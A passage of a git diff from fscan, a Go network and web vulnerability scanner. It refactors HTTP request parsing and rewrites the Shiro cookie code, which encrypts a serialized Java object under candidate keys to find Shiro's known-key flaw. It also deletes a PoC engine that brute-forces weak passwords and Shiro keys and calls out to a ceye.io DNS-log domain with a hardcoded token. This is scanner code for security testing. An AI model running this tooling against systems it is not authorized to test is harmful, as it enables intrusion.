+ if redirect { oResp, err = Client.Do(req) } else { oResp, err = ClientNoRedirect.Do(req) } + if err != nil { - //fmt.Println("[-]DoRequest error: ",err) - return nil, err + return nil, fmt.Errorf("请求执行失败: %w", err) } defer oResp.Body.Close() + + // 解析响应 resp, err := ParseResponse(oResp) if err != nil { - common.LogError("[-] ParseResponse error: " + err.Error()) - //return nil, err + Common.LogError("响应解析失败: " + err.Error()) } + return resp, err } +// ParseUrl 解析 URL 并转换为自定义 URL 类型 func ParseUrl(u *url.URL) *UrlType { - nu := &UrlType{} - nu.Scheme = u.Scheme - nu.Domain = u.Hostname() - nu.Host = u.Host - nu.Port = u.Port() - nu.Path = u.EscapedPath() - nu.Query = u.RawQuery - nu.Fragment = u.Fragment - return nu + return &UrlType{ + Scheme: u.Scheme, + Domain: u.Hostname(), + Host: u.Host, + Port: u.Port(), + Path: u.EscapedPath(), + Query: u.RawQuery, + Fragment: u.Fragment, + } } +// ParseRequest 将标准 HTTP 请求转换为自定义请求对象 func ParseRequest(oReq *http.Request) (*Request, error) { - req := &Request{} - req.Method = oReq.Method - req.Url = ParseUrl(oReq.URL) - header := make(map[string]string) + req := &Request{ + Method: oReq.Method, + Url: ParseUrl(oReq.URL), + Headers: make(map[string]string), + ContentType: oReq.Header.Get("Content-Type"), + } + + // 复制请求头 for k := range oReq.Header { - header[k] = oReq.Header.Get(k) + req.Headers[k] = oReq.Header.Get(k) } - req.Headers = header - req.ContentType = oReq.Header.Get("Content-Type") - if oReq.Body == nil || oReq.Body == http.NoBody { - } else { + + // 处理请求体 + if oReq.Body != nil && oReq.Body != http.NoBody { data, err := io.ReadAll(oReq.Body) if err != nil { - return nil, err + return nil, fmt.Errorf("读取请求体失败: %w", err) } req.Body = data + // 重新设置请求体,允许后续重复读取 oReq.Body = io.NopCloser(bytes.NewBuffer(data)) } + return req, nil } +// ParseResponse 将标准 HTTP 响应转换为自定义响应对象 func ParseResponse(oResp *http.Response) (*Response, error) { - var resp Response - header := make(map[string]string) - resp.Status = int32(oResp.StatusCode) - resp.Url = ParseUrl(oResp.Request.URL) + resp := Response{ + Status: int32(oResp.StatusCode), + Url: ParseUrl(oResp.Request.URL), + Headers: make(map[string]string), + ContentType: oResp.Header.Get("Content-Type"), + } + + // 复制响应头,合并多值头部为分号分隔的字符串 for k := range oResp.Header { - header[k] = strings.Join(oResp.Header.Values(k), ";") + resp.Headers[k] = strings.Join(oResp.Header.Values(k), ";") + } + + // 读取并解析响应体 + body, err := getRespBody(oResp) + if err != nil { + return nil, fmt.Errorf("处理响应体失败: %w", err) } - resp.Headers = header - resp.ContentType = oResp.Header.Get("Content-Type") - body, _ := getRespBody(oResp) resp.Body = body + return &resp, nil } -func getRespBody(oResp *http.Response) (body []byte, err error) { - body, err = io.ReadAll(oResp.Body) +// getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩 +func getRespBody(oResp *http.Response) ([]byte, error) { + // 读取原始响应体 + body, err := io.ReadAll(oResp.Body) + if err != nil && err != io.EOF && len(body) == 0 { + return nil, err + } + + // 处理 gzip 压缩 if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") { - reader, err1 := gzip.NewReader(bytes.NewReader(body)) - if err1 == nil { - body, err = io.ReadAll(reader) + reader, err := gzip.NewReader(bytes.NewReader(body)) + if err != nil { + return body, nil // 如果解压失败,返回原始数据 } + defer reader.Close() + + decompressed, err := io.ReadAll(reader) + if err != nil && err != io.EOF && len(decompressed) == 0{ + return nil, err + } + if len(decompressed) == 0 && len(body) != 0{ + return body, nil + } + return decompressed, nil } - if err == io.EOF { - err = nil - } - return + + return body, nil } diff --git a/WebScan/lib/Shiro.go b/WebScan/lib/Shiro.go new file mode 100644 index 00000000..ce24978e --- /dev/null +++ b/WebScan/lib/Shiro.go @@ -0,0 +1,102 @@ +package lib + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "io" + + uuid "github.com/satori/go.uuid" +) + +var ( + // CheckContent 是经过base64编码的Shiro序列化对象 + CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==" + // Content 是解码后的原始内容 + Content, _ = base64.StdEncoding.DecodeString(CheckContent) +) + +// Padding 对明文进行PKCS7填充 +func Padding(plainText []byte, blockSize int) []byte { + // 计算需要填充的长度 + paddingLength := blockSize - len(plainText)%blockSize + + // 使用paddingLength个paddingLength值进行填充 + paddingText := bytes.Repeat([]byte{byte(paddingLength)}, paddingLength) + + return append(plainText, paddingText...) +} + +// GetShrioCookie 获取加密后的Shiro Cookie值 +func GetShrioCookie(key, mode string) string { + if mode == "gcm" { + return AES_GCM_Encrypt(key) + } + return AES_CBC_Encrypt(key) +} + +// AES_CBC_Encrypt 使用AES-CBC模式加密 +func AES_CBC_Encrypt(shirokey string) string { + // 解码密钥 + key, err := base64.StdEncoding.DecodeString(shirokey) + if err != nil { + return "" + } + + // 创建AES加密器 + block, err := aes.NewCipher(key) + if err != nil { + return "" + } + + // PKCS7填充 + paddedContent := Padding(Content, block.BlockSize()) + + // 生成随机IV + iv := uuid.NewV4().Bytes() + + // 创建CBC加密器 + blockMode := cipher.NewCBCEncrypter(block, iv) + + // 加密数据 + cipherText := make([]byte, len(paddedContent)) + blockMode.CryptBlocks(cipherText, paddedContent) + + // 拼接IV和密文并base64编码 + return base64.StdEncoding.EncodeToString(append(iv, cipherText...)) +} + +// AES_GCM_Encrypt 使用AES-GCM模式加密(Shiro 1.4.2+) +func AES_GCM_Encrypt(shirokey string) string { + // 解码密钥 + key, err := base64.StdEncoding.DecodeString(shirokey) + if err != nil { + return "" + } + + // 创建AES加密器 + block, err := aes.NewCipher(key) + if err != nil { + return "" + } + + // 生成16字节随机数作为nonce + nonce := make([]byte, 16) + if _, err := io.ReadFull(rand.Reader, nonce); err != nil { + return "" + } + + // 创建GCM加密器 + aesgcm, err := cipher.NewGCMWithNonceSize(block, 16) + if err != nil { + return "" + } + + // 加密数据 + ciphertext := aesgcm.Seal(nil, nonce, Content, nil) + + // 拼接nonce和密文并base64编码 + return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...)) +} diff --git a/WebScan/lib/check.go b/WebScan/lib/check.go deleted file mode 100644 index 7dec98d3..00000000 --- a/WebScan/lib/check.go +++ /dev/null @@ -1,552 +0,0 @@ -package lib - -import ( - "crypto/md5" - "fmt" - "github.com/google/cel-go/cel" - "github.com/shadow1ng/fscan/WebScan/info" - "github.com/shadow1ng/fscan/common" - "math/rand" - "net/http" - "net/url" - "regexp" - "strings" - "sync" - "time" -) - -var ( - ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" - ceyeDomain = "7wtusr.ceye.io" -) - -type Task struct { - Req *http.Request - Poc *Poc -} - -func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { - tasks := make(chan Task) - var wg sync.WaitGroup - for i := 0; i < workers; i++ { - go func() { - for task := range tasks { - isVul, _, name := executePoc(task.Req, task.Poc) - if isVul { - result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name) - common.LogSuccess(result) - } - wg.Done() - } - }() - } - for _, poc := range pocs { - task := Task{ - Req: req, - Poc: poc, - } - wg.Add(1) - tasks <- task - } - wg.Wait() - close(tasks) -} - -func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { - c := NewEnvOption() - c.UpdateCompileOptions(p.Set) - if len(p.Sets) > 0 { - var setMap StrMap - for _, item := range p.Sets { - if len(item.Value) > 0 { - setMap = append(setMap, StrItem{item.Key, item.Value[0]}) - } else { - setMap = append(setMap, StrItem{item.Key, ""}) - } - } - c.UpdateCompileOptions(setMap) - } - env, err := NewEnv(&c) - if err != nil { - fmt.Printf("[-] %s environment creation error: %s\n", p.Name, err) - return false, err, "" - } - req, err := ParseRequest(oReq) - if err != nil { - fmt.Printf("[-] %s ParseRequest error: %s\n", p.Name, err) - return false, err, "" - } - variableMap := make(map[string]interface{}) - defer func() { variableMap = nil }() - variableMap["request"] = req - for _, item := range p.Set { - k, expression := item.Key, item.Value - if expression == "newReverse()" { - if !common.DnsLog { - return false, nil, "" - } - variableMap[k] = newReverse() - continue - } - err, _ = evalset(env, variableMap, k, expression) - if err != nil { - fmt.Printf("[-] %s evalset error: %v\n", p.Name, err) - } - } - success := false - //爆破模式,比如tomcat弱口令 - if len(p.Sets) > 0 { - success, err = clusterpoc(oReq, p, variableMap, req, env) - return success, nil, "" - } - - DealWithRule := func(rule Rules) (bool, error) { - Headers := cloneMap(rule.Headers) - var ( - flag, ok bool - ) - for k1, v1 := range variableMap { - _, isMap := v1.(map[string]string) - if isMap { - continue - } - value := fmt.Sprintf("%v", v1) - for k2, v2 := range Headers { - if !strings.Contains(v2, "{{"+k1+"}}") { - continue - } - Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) - } - rule.Path = strings.ReplaceAll(rule.Path, "{{"+k1+"}}", value) - rule.Body = strings.ReplaceAll(rule.Body, "{{"+k1+"}}", value) - } - - if oReq.URL.Path != "" && oReq.URL.Path != "/" { - req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) - } else { - req.Url.Path = rule.Path - } - // 某些poc没有区分path和query,需要处理 - req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") - //req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") - - newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body)) - if err != nil { - //fmt.Println("[-] newRequest error: ",err) - return false, err - } - newRequest.Header = oReq.Header.Clone() - for k, v := range Headers { - newRequest.Header.Set(k, v) - } - Headers = nil - resp, err := DoRequest(newRequest, rule.FollowRedirects) - newRequest = nil - if err != nil { - return false, err - } - variableMap["response"] = resp - // 先判断响应页面是否匹配search规则 - if rule.Search != "" { - result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) - if len(result) > 0 { // 正则匹配成功 - for k, v := range result { - variableMap[k] = v - } - } else { - return false, nil - } - } - out, err := Evaluate(env, rule.Expression, variableMap) - if err != nil { - return false, err - } - //如果false不继续执行后续rule - // 如果最后一步执行失败,就算前面成功了最终依旧是失败 - flag, ok = out.Value().(bool) - if !ok { - flag = false - } - return flag, nil - } - - DealWithRules := func(rules []Rules) bool { - successFlag := false - for _, rule := range rules { - flag, err := DealWithRule(rule) - if err != nil || !flag { //如果false不继续执行后续rule - successFlag = false // 如果其中一步为flag,则直接break - break - } - successFlag = true - } - return successFlag - } - - if len(p.Rules) > 0 { - success = DealWithRules(p.Rules) - } else { - for _, item := range p.Groups { - name, rules := item.Key, item.Value - success = DealWithRules(rules) - if success { - return success, nil, name - } - } - } - - return success, nil, "" -} - -func doSearch(re string, body string) map[string]string { - r, err := regexp.Compile(re) - if err != nil { - fmt.Println("[-] regexp.Compile error: ", err) - return nil - } - result := r.FindStringSubmatch(body) - names := r.SubexpNames() - if len(result) > 1 && len(names) > 1 { - paramsMap := make(map[string]string) - for i, name := range names { - if i > 0 && i <= len(result) { - if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") { - paramsMap[name] = optimizeCookies(result[i]) - } else { - paramsMap[name] = result[i] - } - } - } - return paramsMap - } - return nil -} - -func optimizeCookies(rawCookie string) (output string) { - // Parse the cookies - parsedCookie := strings.Split(rawCookie, "; ") - for _, c := range parsedCookie { - nameVal := strings.Split(c, "=") - if len(nameVal) >= 2 { - switch strings.ToLower(nameVal[0]) { - case "expires", "max-age", "path", "domain", "version", "comment", "secure", "samesite", "httponly": - continue - } - output += fmt.Sprintf("%s=%s; ", nameVal[0], strings.Join(nameVal[1:], "=")) - } - } - - return -} - -func newReverse() *Reverse { - if !common.DnsLog { - return &Reverse{} - } - letters := "1234567890abcdefghijklmnopqrstuvwxyz" - randSource := rand.New(rand.NewSource(time.Now().UnixNano())) - sub := RandomStr(randSource, letters, 8) - //if true { - // //默认不开启dns解析 - // return &Reverse{} - //} - urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain) - u, _ := url.Parse(urlStr) - return &Reverse{ - Url: urlStr, - Domain: u.Hostname(), - Ip: u.Host, - IsDomainNameServer: false, - } -} - -func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) { - var strMap StrMap - var tmpnum int - for i, rule := range p.Rules { - if !isFuzz(rule, p.Sets) { - success, err = clustersend(oReq, variableMap, req, env, rule) - if err != nil { - return false, err - } - if success { - continue - } else { - return false, err - } - } - setsMap := Combo(p.Sets) - ruleHash := make(map[string]struct{}) - look: - for j, item := range setsMap { - //shiro默认只跑10key - if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 { - if item[1] == "cbc" { - continue - } else { - if tmpnum == 0 { - tmpnum = j - } - if j-tmpnum >= 10 { - break - } - } - } - rule1 := cloneRules(rule) - var flag1 bool - var tmpMap StrMap - var payloads = make(map[string]interface{}) - var tmpexpression string - for i, one := range p.Sets { - key, expression := one.Key, item[i] - if key == "payload" { - tmpexpression = expression - } - _, output := evalset1(env, variableMap, key, expression) - payloads[key] = output - } - for _, one := range p.Sets { - flag := false - key := one.Key - value := fmt.Sprintf("%v", payloads[key]) - for k2, v2 := range rule1.Headers { - if strings.Contains(v2, "{{"+key+"}}") { - rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+key+"}}", value) - flag = true - } - } - if strings.Contains(rule1.Path, "{{"+key+"}}") { - rule1.Path = strings.ReplaceAll(rule1.Path, "{{"+key+"}}", value) - flag = true - } - if strings.Contains(rule1.Body, "{{"+key+"}}") { - rule1.Body = strings.ReplaceAll(rule1.Body, "{{"+key+"}}", value) - flag = true - } - if flag { - flag1 = true - if key == "payload" { - var flag2 bool - for k, v := range variableMap { - if strings.Contains(tmpexpression, k) { - flag2 = true - tmpMap = append(tmpMap, StrItem{k, fmt.Sprintf("%v", v)}) - } - } - if flag2 { - continue - } - } - tmpMap = append(tmpMap, StrItem{key, value}) - } - } - if !flag1 { - continue - } - has := md5.Sum([]byte(fmt.Sprintf("%v", rule1))) - md5str := fmt.Sprintf("%x", has) - if _, ok := ruleHash[md5str]; ok { - continue - } - ruleHash[md5str] = struct{}{} - success, err = clustersend(oReq, variableMap, req, env, rule1) - if err != nil { - return false, err - } - if success { - if rule.Continue { - if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { - common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) - } else { - common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap)) - } - continue - } - strMap = append(strMap, tmpMap...) - if i == len(p.Rules)-1 { - common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) - //防止后续继续打印poc成功信息 - return false, nil - } - break look - } - } - if !success { - break - } - if rule.Continue { - //防止后续继续打印poc成功信息 - return false, nil - } - } - return success, nil -} - -func isFuzz(rule Rules, Sets ListMap) bool { - for _, one := range Sets { - key := one.Key - for _, v := range rule.Headers { - if strings.Contains(v, "{{"+key+"}}") { - return true - } - } - if strings.Contains(rule.Path, "{{"+key+"}}") { - return true - } - if strings.Contains(rule.Body, "{{"+key+"}}") { - return true - } - } - return false -} - -func Combo(input ListMap) (output [][]string) { - if len(input) > 1 { - output = Combo(input[1:]) - output = MakeData(output, input[0].Value) - } else { - for _, i := range input[0].Value { - output = append(output, []string{i}) - } - } - return -} - -func MakeData(base [][]string, nextData []string) (output [][]string) { - for i := range base { - for _, j := range nextData { - output = append(output, append([]string{j}, base[i]...)) - } - } - return -} - -func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) { - for k1, v1 := range variableMap { - _, isMap := v1.(map[string]string) - if isMap { - continue - } - value := fmt.Sprintf("%v", v1) - for k2, v2 := range rule.Headers { - if strings.Contains(v2, "{{"+k1+"}}") { - rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) - } - } - rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value) - rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value) - } - if oReq.URL.Path != "" && oReq.URL.Path != "/" { - req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) - } else { - req.Url.Path = rule.Path - } - // 某些poc没有区分path和query,需要处理 - req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") - //req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") - // - newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) - if err != nil { - //fmt.Println("[-] newRequest error:",err) - return false, err - } - newRequest.Header = oReq.Header.Clone() - for k, v := range rule.Headers { - newRequest.Header.Set(k, v) - } - resp, err := DoRequest(newRequest, rule.FollowRedirects) - newRequest = nil - if err != nil { - return false, err - } - variableMap["response"] = resp - // 先判断响应页面是否匹配search规则 - if rule.Search != "" { - result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) - if result != nil && len(result) > 0 { // 正则匹配成功 - for k, v := range result { - variableMap[k] = v - } - //return false, nil - } else { - return false, nil - } - } - out, err := Evaluate(env, rule.Expression, variableMap) - if err != nil { - if strings.Contains(err.Error(), "Syntax error") { - fmt.Println(rule.Expression, err) - } - return false, err - } - //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) - if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule - return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败 - } - return true, err -} - -func cloneRules(tags Rules) Rules { - cloneTags := Rules{} - cloneTags.Method = tags.Method - cloneTags.Path = tags.Path - cloneTags.Body = tags.Body - cloneTags.Search = tags.Search - cloneTags.FollowRedirects = tags.FollowRedirects - cloneTags.Expression = tags.Expression - cloneTags.Headers = cloneMap(tags.Headers) - return cloneTags -} - -func cloneMap(tags map[string]string) map[string]string { - cloneTags := make(map[string]string) - for k, v := range tags { - cloneTags[k] = v - } - return cloneTags -} - -func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) { - out, err := Evaluate(env, expression, variableMap) - if err != nil { - variableMap[k] = expression - } else { - switch value := out.Value().(type) { - case *UrlType: - variableMap[k] = UrlTypeToString(value) - case int64: - variableMap[k] = int(value) - default: - variableMap[k] = fmt.Sprintf("%v", out) - } - } - return err, fmt.Sprintf("%v", variableMap[k]) -} - -func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) { - out, err := Evaluate(env, expression, variableMap) - if err != nil { - variableMap[k] = expression - } else { - variableMap[k] = fmt.Sprintf("%v", out) - } - return err, fmt.Sprintf("%v", variableMap[k]) -} - -func CheckInfoPoc(infostr string) string { - for _, poc := range info.PocDatas { - if strings.Contains(infostr, poc.Name) { - return poc.Alias - } - } - return "" -} - -func GetHeader(header map[string]string) (output string) { - for name, values := range header { - line := fmt.Sprintf("%s: %s\n", name, values) - output = output + line - } - output = output + "\r\n" - return -} diff --git a/WebScan/lib/client.go b/WebScan/lib/client.go deleted file mode 100644 index cbc5754d..00000000 --- a/WebScan/lib/client.go +++ /dev/null @@ -1,260 +0,0 @@ -package lib - -import ( - "context" - "crypto/tls" - "embed" - "errors" - "fmt" - "github.com/shadow1ng/fscan/common" - "golang.org/x/net/proxy" - "gopkg.in/yaml.v2" - "net" - "net/http" - "net/url" - "os" - "strings" - "time" -) - -var ( - Client *http.Client - ClientNoRedirect *http.Client - dialTimout = 5 * time.Second - keepAlive = 5 * time.Second -) - -func Inithttp() { - //common.Proxy = "http://127.0.0.1:8080" - if common.PocNum == 0 { - common.PocNum = 20 - } - if common.WebTimeout == 0 { - common.WebTimeout = 5 - } - err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second) - if err != nil { - panic(err) - } -} - -func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error { - type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) - dialer := &net.Dialer{ - Timeout: dialTimout, - KeepAlive: keepAlive, - } - - tr := &http.Transport{ - DialContext: dialer.DialContext, - MaxConnsPerHost: 5, - MaxIdleConns: 0, - MaxIdleConnsPerHost: ThreadsNum * 2, - IdleConnTimeout: keepAlive, - TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true}, - TLSHandshakeTimeout: 5 * time.Second, - DisableKeepAlives: false, - } - - if common.Socks5Proxy != "" { - dialSocksProxy, err := common.Socks5Dailer(dialer) - if err != nil { - return err - } - if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok { - tr.DialContext = contextDialer.DialContext - } else { - return errors.New("Failed type assertion to DialContext") - } - } else if DownProxy != "" { - if DownProxy == "1" { - DownProxy = "http://127.0.0.1:8080" - } else if DownProxy == "2" { - DownProxy = "socks5://127.0.0.1:1080" - } else if !strings.Contains(DownProxy, "://") { - DownProxy = "http://127.0.0.1:" + DownProxy - } - if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") { - return errors.New("no support this proxy") - } - u, err := url.Parse(DownProxy) - if err != nil { - return err - } - tr.Proxy = http.ProxyURL(u) - } - - Client = &http.Client{ - Transport: tr, - Timeout: Timeout, - } - ClientNoRedirect = &http.Client{ - Transport: tr, - Timeout: Timeout, - CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, - } - return nil -} - -type Poc struct { - Name string `yaml:"name"` - Set StrMap `yaml:"set"` - Sets ListMap `yaml:"sets"` - Rules []Rules `yaml:"rules"` - Groups RuleMap `yaml:"groups"` - Detail Detail `yaml:"detail"` -} - -type MapSlice = yaml.MapSlice - -type StrMap []StrItem -type ListMap []ListItem -type RuleMap []RuleItem - -type StrItem struct { - Key, Value string -} - -type ListItem struct { - Key string - Value []string -} - -type RuleItem struct { - Key string - Value []Rules -} - -func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error { - var tmp yaml.MapSlice - if err := unmarshal(&tmp); err != nil { - return err - } - for _, one := range tmp { - key, value := one.Key.(string), one.Value.(string) - *r = append(*r, StrItem{key, value}) - } - return nil -} - -//func (r *RuleItem) UnmarshalYAML(unmarshal func(interface{}) error) error { -// var tmp yaml.MapSlice -// if err := unmarshal(&tmp); err != nil { -// return err -// } -// //for _,one := range tmp{ -// // key,value := one.Key.(string),one.Value.(string) -// // *r = append(*r,StrItem{key,value}) -// //} -// return nil -//} - -func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error { - var tmp1 yaml.MapSlice - if err := unmarshal(&tmp1); err != nil { - return err - } - var tmp = make(map[string][]Rules) - if err := unmarshal(&tmp); err != nil { - return err - } - - for _, one := range tmp1 { - key := one.Key.(string) - value := tmp[key] - *r = append(*r, RuleItem{key, value}) - } - return nil -} - -func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error { - var tmp yaml.MapSlice - if err := unmarshal(&tmp); err != nil { - return err - } - for _, one := range tmp { - key := one.Key.(string) - var value []string - for _, val := range one.Value.([]interface{}) { - v := fmt.Sprintf("%v", val) - value = append(value, v) - } - *r = append(*r, ListItem{key, value}) - } - return nil -} - -type Rules struct { - Method string `yaml:"method"` - Path string `yaml:"path"` - Headers map[string]string `yaml:"headers"` - Body string `yaml:"body"` - Search string `yaml:"search"` - FollowRedirects bool `yaml:"follow_redirects"` - Expression string `yaml:"expression"` - Continue bool `yaml:"continue"` -} - -type Detail struct { - Author string `yaml:"author"` - Links []string `yaml:"links"` - Description string `yaml:"description"` - Version string `yaml:"version"` -} - -func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc { - var pocs []*Poc - for _, f := range SelectPoc(Pocs, pocname) { - if p, err := LoadPoc(f, Pocs); err == nil { - pocs = append(pocs, p) - } else { - fmt.Println("[-] load poc ", f, " error:", err) - } - } - return pocs -} - -func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) { - p := &Poc{} - yamlFile, err := Pocs.ReadFile("pocs/" + fileName) - - if err != nil { - fmt.Printf("[-] load poc %s error1: %v\n", fileName, err) - return nil, err - } - err = yaml.Unmarshal(yamlFile, p) - if err != nil { - fmt.Printf("[-] load poc %s error2: %v\n", fileName, err) - return nil, err - } - return p, err -} - -func SelectPoc(Pocs embed.FS, pocname string) []string { - entries, err := Pocs.ReadDir("pocs") - if err != nil { - fmt.Println(err) - } - var foundFiles []string - for _, entry := range entries { - if strings.Contains(entry.Name(), pocname) { - foundFiles = append(foundFiles, entry.Name()) - } - } - return foundFiles -} - -func LoadPocbyPath(fileName string) (*Poc, error) { - p := &Poc{} - data, err := os.ReadFile(fileName) - if err != nil { - fmt.Printf("[-] load poc %s error3: %v\n", fileName, err) - return nil, err - } - err = yaml.Unmarshal(data, p) - if err != nil { - fmt.Printf("[-] load poc %s error4: %v\n", fileName, err) - return nil, err - } - return p, err -} diff --git a/WebScan/lib/shiro.go b/WebScan/lib/shiro.go deleted file mode 100644 index 4e3503d3..00000000 --- a/WebScan/lib/shiro.go +++ /dev/null @@ -1,73 +0,0 @@ -package lib - -import ( - "bytes" - "crypto/aes" - "crypto/cipher" - "crypto/rand" - "encoding/base64" - "io" - - uuid "github.com/satori/go.uuid" -) - -var ( - CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==" - Content, _ = base64.StdEncoding.DecodeString(CheckContent) -) - -func Padding(plainText []byte, blockSize int) []byte { - //计算要填充的长度 - n := (blockSize - len(plainText)%blockSize) - //对原来的明文填充n个n - temp := bytes.Repeat([]byte{byte(n)}, n) - plainText = append(plainText, temp...) - return plainText -} - -func GetShrioCookie(key, mode string) string { - if mode == "gcm" { - return AES_GCM_Encrypt(key) - } else { - //cbc - return AES_CBC_Encrypt(key) - } -} - -//AES CBC加密后的payload -func AES_CBC_Encrypt(shirokey string) string { - key, err := base64.StdEncoding.DecodeString(shirokey) - if err != nil { - return "" - } - block, err := aes.NewCipher(key) - if err != nil { - return "" - } - Content = Padding(Content, block.BlockSize()) - iv := uuid.NewV4().Bytes() //指定初始向量vi,长度和block的块尺寸一致 - blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式,返回一个BlockMode接口对象 - cipherText := make([]byte, len(Content)) - blockMode.CryptBlocks(cipherText, Content) //加密数据 - return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...)) -} - -//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式 -func AES_GCM_Encrypt(shirokey string) string { - key, err := base64.StdEncoding.DecodeString(shirokey) - if err != nil { - return "" - } - block, err := aes.NewCipher(key) - if err != nil { - return "" - } - nonce := make([]byte, 16) - _, err = io.ReadFull(rand.Reader, nonce) - if err != nil { - return "" - } - aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16) - ciphertext := aesgcm.Seal(nil, nonce, Content, nil) - return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...)) -} diff --git a/WebScan/pocs/yonyou-u8-oa-sqli.yml b/WebScan/pocs/yonyou-u8-oa-sqli.yml index 9933b524..51aa2c19 100644 --- a/WebScan/pocs/yonyou-u8-oa-sqli.yml +++ b/WebScan/pocs/yonyou-u8-oa-sqli.yml @@ -11,4 +11,4 @@ rules: detail: author: kzaopa(https://github.com/kzaopa) links: - - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html \ No newline at end of file + - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html diff --git a/common/Parse.go b/common/Parse.go deleted file mode 100644 index 115edda3..00000000 --- a/common/Parse.go +++ /dev/null @@ -1,294 +0,0 @@ -package common - -import ( - "bufio" - "encoding/hex" - "flag" - "fmt" - "net/url" - "os" - "strconv" - "strings" -) - -func Parse(Info *HostInfo) { - ParseUser() - ParsePass(Info) - ParseInput(Info) - ParseScantype(Info) -} - -func ParseUser() { - if Username == "" && Userfile == "" { - return - } - var Usernames []string - if Username != "" { - Usernames = strings.Split(Username, ",") - } - - if Userfile != "" { - users, err := Readfile(Userfile) - if err == nil { - for _, user := range users { - if user != "" { - Usernames = append(Usernames, user) - } - } - } - } - - Usernames = RemoveDuplicate(Usernames) - for name := range Userdict { - Userdict[name] = Usernames - } -} - -func ParsePass(Info *HostInfo) { - var PwdList []string - if Password != "" { - passs := strings.Split(Password, ",") - for _, pass := range passs { - if pass != "" { - PwdList = append(PwdList, pass) - } - } - Passwords = PwdList - } - if Passfile != "" { - passs, err := Readfile(Passfile) - if err == nil { - for _, pass := range passs { - if pass != "" { - PwdList = append(PwdList, 